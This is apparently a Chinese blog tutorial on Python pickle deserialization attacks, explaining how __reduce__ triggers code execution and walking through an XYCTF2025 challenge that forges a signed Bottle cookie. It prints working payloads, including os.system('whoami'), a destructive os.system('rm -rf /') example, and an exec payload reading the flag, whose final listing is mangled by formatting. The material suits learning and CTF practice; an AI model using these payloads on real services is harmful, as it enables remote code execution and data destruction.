Pickle反序列化漏洞基础到进阶

60次阅读
没有评论

共计 5322 个字符,预计需要花费 14 分钟才能阅读完成。

Pickle反序列化漏洞基础到进阶

Python反序列化基础:

与PHP的序列化相同,Python的反序列化也是将类与对象转换成字符串进行数据的传输

在Python中主要用到Pickle库对实例进行序列化与反序列化操作

下面是一段示例代码

import pickle
import os

class dairy():
    date = 20191029
    text = "再学CTF我是狗"
    todo = ['web狗', 'CTF', 'Rycarl']

today = dairy()
a=pickle.dumps(today)
print(a)
Pickle反序列化漏洞基础到进阶

关于Pickle库:

  • Pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
  • Pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。
函数 说明
dumps 对象反序列化为bytes对象
dump 对象反序列化到文件对象,存入文件
loads 从bytes对象反序列化
load 对象反序列化,从文件中读取数据

pickle.dumps就相当与PHP中的serialize()

Pickle反序列化漏洞基础到进阶

Pickle函数除了可以对实例操作外对数组,字典,字符串也是可以进行序列化的

与PHP不同的是,你会发现Python序列化后的结果并没有之前我们所规定的属性

Pickle反序列化漏洞基础到进阶

同样的我们进行反序列化后也不会有对应的属性

Pickle反序列化漏洞基础到进阶

而实际开发的时候我们肯定需要带上类的属性,那么我们就需要用上__reduce__这个魔术方法

与PHP中的__wakeup__一样,__reduce__这个魔术方法会在反序列化之前进行告诉系统如何操作。

他的返回值第一个参数是函数名,第二个参数是一个tuple,为第一个函数的参数

与PHP不同的是,我们可以人为控制reduce函数的内容,这就为Pickle反序列化带来了更多的可能性

下面是示例代码

import pickle

class tmp():
	text = "456"

	def __init__(self, text):
		self.text = text

	def __reduce__(self):
		return (tmp,("123",))

text = tmp('aa')
sertext = pickle.dumps(text)
print(sertext)

reltext = pickle.loads(sertext)
print(reltext.text)

输出结果:

Pickle反序列化漏洞基础到进阶

我们可以看到最后print函数输出了123,而不是aa或者456

其中

  • 类属性 text = "123"
  • __init__ 方法:将实例的 text 属性设置为传入的参数
  • __reduce__ 方法:返回一个元组 (tmp, ("123",)),这会控制序列化行为

reduce的执行是在__init__之后的,所以会覆盖一开始时传入的参数

如果我们删掉reduce方法

如:

import pickle

class tmp:
    text = "123"

    def __init__(self, text):
        self.text = text 

# 测试
text = tmp('aa')         
sertext = pickle.dumps(text)
reltext = pickle.loads(sertext)

print(reltext.text)       

这样就可以使传入的值变成实际的值

我们也可以将传入的值继续在reduce中使用,如:

import pickle

class tmp:
    text = "123" #没用可删除

    def __init__(self, text):
        self.text = text  

    def __reduce__(self):
        return (tmp, (self.text,))  

# 测试
text = tmp('234')         
sertext = pickle.dumps(text)
reltext = pickle.loads(sertext)

print(reltext.text)       

了解了Pickle的基本知识,我们就来看看如何用pickle执行系统代码

import pickle
import os

class tmp():
    text = "123"

    def __reduce__(self):
       return (os.system,("whoami",))

text = tmp()
sertext = pickle.dumps(text)
print(sertext)

reltext = pickle.loads(sertext)
print(reltext.text)
Pickle反序列化漏洞基础到进阶

在这里我们__reduce__调用了os模块进行操作,下面的print函数报错是因为无法找到text属性的值,我们不用理会

为什么我们使用__reduce__魔术方法而不是其他魔术方法来进行payload的构造呢?

1. ​__reduce__ 是序列化协议的核心方法​

pickle模块在序列化对象时,会调用对象的__reduce__方法(如果存在),该方法返回一个元组,用于告诉pickle如何重建对象:

  • 第一个元素是​​可调用对象​​(如函数、类等)。
  • 第二个元素是调用该可调用对象的​​参数​​(元组形式)。
  • 后续元素可选(如用于__setstate__的状态)。

​攻击者可以利用这一点,在反序列化时执行任意代码。​

import pickle

class Malicious:
    def __reduce__(self):
        # 返回要执行的函数和参数
        return (os.system, ('rm -rf /', ))  # 恶意命令

payload = pickle.dumps(Malicious())
pickle.loads(payload)  # 反序列化时执行命令

2. ​​其他魔术方法的局限性​

虽然Python对象有许多魔术方法(如__init____new____setstate__等),但它们在反序列化过程中的行为受限:

  • __init__ 和 __new__​:
    这些方法用于初始化对象,但无法直接执行​​外部系统命令​​。攻击者需要依赖类本身的行为,而pickle默认不会通过这些方法执行任意代码。
  • __setstate__​:
    该方法用于恢复对象的状态(通过__getstate__保存的状态),但其输入是序列化时保存的状态,攻击者需要构造特定的状态数据,且执行能力有限。
  • __getattr____getattribute__等​​:
    这些方法处理属性访问,不直接参与反序列化过程,因此难以利用。

3. ​__reduce__ 的底层控制权​

__reduce__直接暴露了对象重建的底层逻辑:

  • ​直接指定可调用对象和参数​​:攻击者可以完全控制反序列化时执行的函数(如os.systemsubprocess.call等)。
  • ​绕过高层抽象​​:不需要依赖对象本身的逻辑,只需构造__reduce__返回的元组即可。

4. 漏洞利用的普适性

几乎所有Python类都可以被攻击者通过重写__reduce__来构造恶意载荷,而其他魔术方法可能需要特定上下文(如依赖属性访问、状态管理等),因此__reduce__成为最通用的攻击入口。

而且本人在学习中有一个误区,一直以为需要类中存在__reduce__魔术方法才行,实际测试下来其实并不需要,只需要我们反序列化的数据中存在__ruduce__就行,原代码是否存在并不重要

Pickle反序列化漏洞基础到进阶

接下来我们看几道例题

1.XYCTF2025

这是题目的全部源码,有兴趣的师傅可以自己尝试一下

# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
try:
    with open('../../secret.txt', 'r') as f:
        secret = f.read()
except:
    print("No secret file found, using default secret")
    secret = "secret"
app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=5000, debug=False)

我们这里重点看反序列化这一块,前面我们通过任意文件读取拿到了secret

这里我们看到/secret路由是存在一个get_cookie的

def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"

我们观察get_cookie的逻辑

def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
    """ Return the content of a cookie. To read a `Signed Cookie`, the
        `secret` must match the one used to create the cookie (see
        :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
        cookie or wrong signature), return a default value. """
    value = self.cookies.get(key)
    if secret:
        # See BaseResponse.set_cookie for details on signed cookies.
        if value and value.startswith('!') and '?' in value:
            sig, msg = map(tob, value[1:].split('?', 1))
            hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
            if _lscmp(sig, base64.b64encode(hash)):
                dst = pickle.loads(base64.b64decode(msg))
                if dst and dst[0] == key:
                    return dst[1]
        return default
    return value or default

可以看到是有个pickle.loads。那么很明显是要用到反序列化了

关于cookie的部分建议参考这篇文章:https://blog.csdn.net/Python1111111/article/details/147113678

最后的payload:

from bottle import Bottle, request, response,run, route

class cmd():
def reduce(self):
return (exec,(“import(‘os’).popen(‘cat /f*>/app/app/app.py’).read()”,))

c = cmd()
#session = {“name”:c}
response.set_cookie(“name”,c,secret=”Hell0_H@cker_Y0u_A3r_Sm@r7″)
print(response._cookies)

这里我们先简单理解一下程序会反序列化cookie里面的内容,如果想要深入需要看上面那篇博客,这里就不展开讲了

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-04-29发表,共计5322字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)